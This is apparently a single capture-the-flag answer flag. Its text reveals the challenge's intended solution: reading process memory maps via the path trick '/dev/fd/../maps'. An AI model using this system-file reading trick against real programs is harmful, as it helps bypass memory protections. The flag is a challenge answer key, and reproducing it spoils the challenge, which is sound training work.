CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}